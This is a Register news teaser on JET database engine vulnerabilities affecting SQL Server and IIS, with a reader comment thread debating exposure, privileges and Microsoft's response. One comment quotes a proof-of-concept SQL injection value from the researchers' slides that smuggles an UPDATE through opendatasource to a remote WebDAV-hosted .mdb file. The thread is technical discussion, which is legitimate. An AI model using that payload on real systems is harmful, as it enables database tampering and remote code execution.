JET engine flaws can crash Microsoft's IIS, SQL Server, say Palo Alto researchers A trio of researchers at Palo Alto Networks has detailed vulnerabilities in the JET database engine, and demonstrated how those flaws can be exploited to ultimately execute malicious code on systems running Microsoft’s SQL Server and Internet Information Services web server. The team also said Microsoft dismissed some of their …
First, a standard issue install of Office does not include Access, much less SQL Server.
Second, what they're talking about is effectively an escalation vulnerability that affects you when someone with privileged access to a JET engine also has privileged access to a SQL server. That's why it's not a priority to fix: the answer is "well, don't give that kind of privilege to people you don't trust, then". Frankly, anyone who is vulnerable to this already has much bigger things to worry about.
No install of Office includes SQL Server, but when JET or Access are installed, they included several methods of attaching to remote SQL Servers. Certainly, you shouldn't be installing Access on the server, where your SQL Server is installed.
And there is always malware infecting the host of a privileged user, or a non-privileged user and escalating privileges, to chain onto the JET vulnerabilities.
Likewise, unless you are a dev, you probably don't have IIS running locally either, that is also usually on a server somewhere in a server room.
Nope a standard install of office does include jet, other wise excel (and its macro's would fail) and by extension so does every single office app word and powerpoint so you can embed live tables for example from excel which is in turn linked to sql server. Jet (i might be talking shite) i believe started off as a foxpro tech which got borged by MS into access and ODBC and then dragged forward for backwards compatibility reasons (like DSN's), so its old crusty, well past execution date and exists so that some twat can run an asp classic/access monstrosity of todays pc's rather than accept 20+ year old code is probably past it
Although not enabled by default anymore, a scary large number of sql express instances exist on lans thanks to sql express getting installed at every opportunity circa 2003-2012 and with pre 2015 sku's of visual studio, usually with browser enabled enabling simple ODBC connections very quickly. (try opening sql browser on any uni lan for example)
Finally the fact its remote execution is scary as hell as it will be running as a root system account, so even if sql server has no db's defined on it, you would certainly be able to get it to execute a malicious bridge head script to get what ever nasties you want in and then execute as root. Again if anyone is stupid enough to have IIS WebDAV open on a internet facing server they have bigger problems to solve, but still very bad vector for attack if its not patched.
It is not about the user.
It is not about the user.
It is about the users' machines. You know, the users that follow clickbait. The ones who have never even heard about UMatrix or NoScript.
Your threat is a "highly sophisticated" attacker who starts with root on the user's box.
I've not read the fine print, but it sounds like this is only an issue if you do something foolish involving linking SQL Server to Access.
Nobody in their right mind should be using Access as anything beyond a toy database, and the idea of creating a Frankenstein's monster of Access and SS gives me the shivers.
That said, it used to be possible to bring down the SQL Server process (I think it was SS 2005) simply by executing a query with too many discrete items in an IN clause (more than a couple of thousand IIRC) over ODBC, so something like the following:
SELECT * FROM Customers WHERE CustomerId IN (1, 2, ... 99999, 100000)
Of course it's a code smell to be writing a query like that anyway, but we had a need to do so due to a load of technical debt we couldn't do away with, and it took a while to work out why the connection to the database kept getting dropped in the middle of some heavy processing.
My money's on this issue being that old chestnut of an unchecked buffer overflow.
I've not read the fine print, but it sounds like this is only an issue if you do something foolish involving linking SQL Server to Access.
Possibly, although it might be possible to combine this with a script that searches the network for SQL Servers and then tries to use a standard password attack to get JET to access to the SQL Server. I haven't read the research, so I don't know for sure. But setting up a dynamic SQL Server connection is possible.
Of course it's a code smell to be writing a query like that anyway,
Yes, but code building a dynamic query (something that regularly happened at the time, in my experience) could quickly build up unmanageable query lengths buy concatenating code and looping through parameters pulled out of other systems.
Obviously, the safer way would be to use stored procedures, but they weren't always an option.
IIRC, in this scenario, our solution was to "chunk" the query; rather than have the overhead of transport and execution of thousands of individual queries, we'd query for 1000 IDs at a time. Not ideal, but the rework of the code in question to move the selection logic onto the SQL Server was too much change to consume.
Office Pro or Office 365.
Office Standard and Home & Student, for example, don't get Access and H&S doesn't get Outlook*, so probably many, especially private users, are not affected, unless they have installed additional third party software.
A lot of third party software, especially in-house bespoke software used to use JET as its database engine of choice, as it was integrated into Visual Studio.
* I'm not sure, whether Outlook uses JET internally.
Is it really SQL Injection, when you have a platform that can issue SQL commands directly? SQL Injection, per se, is injecting SQL code into normal inputs that are not properly escaped, before they are passed to the database.
In the case of JET, you have a database engine that is capable of sending raw SQL commands to a SQL Server, so the Injection part seems a little spurious, without further information. If it is feeding SQL Injection code into an existing JET database, which is then captured to send further code to the SQL Server, yes, SQL Injection. If it is local code using the JET engine to send raw SQL, not so much SQL Injection.
That doesn't make the attack any less noteworthy or less worrying - especially given the prevalence of Access 2003 and 2007 runtimes still used out in industry, because the systems that use the databases are critical and the devs no longer exist to convert it to later version.
I looked at their slides. It's a real sql injection attack, like all such attacks it requires not sanitizing the input parameter. One example they give
sql="select * from persons where personid="&id
id="1;UPDATE opendatasource('Microsoft.ACE.OLEDB.12.0','data source=\\10.2.156.63\webdav\poc42cf.mdb')...[ft8] SET [fc3] = [fc3] + 47774 WHERE [fc3] <= 7 OR [fc2] <= 5;"
So if someone codes a client that allows sql injection (not that anybody ever does that), and someone else codes a server to not restrict the database application permissions outside of the database itself (not that anybody ever does that), then the jet engine allows all kinds of selects and updates on various kinds of "data sources" on the server. Or as in their example, even on a different server, assuming the database application runs in a context that has permissions there.
The MS Access angle is a red herring. It's more a jet engine vulnerability. I can understand why Microsoft is not too upset about it. It requires a coding error on the client *and* a permissions error on the server. But the authors are correct there probably a lot of setups like that.
Their claim is that exploitation allows one to nab Network Service privileges and then elevate to SYSTEM. However, modern IIS only provides a restricted SID per app pool within each worker process and modern SQL Server has its own virtual account, whereby neither of these run as privileged enough users to elevate to SYSTEM in the first place...
So either Microsoft still hasn’t fixed a far more pressing security issue reported during the Server 2003 era in Server 2016 or the security researcher is relying upon poor defaults from legacy Windows releases to achieve privilege escalation, surely?
The Register 
Biting the hand that feeds IT
Copyright. All rights reserved © 1998–2024
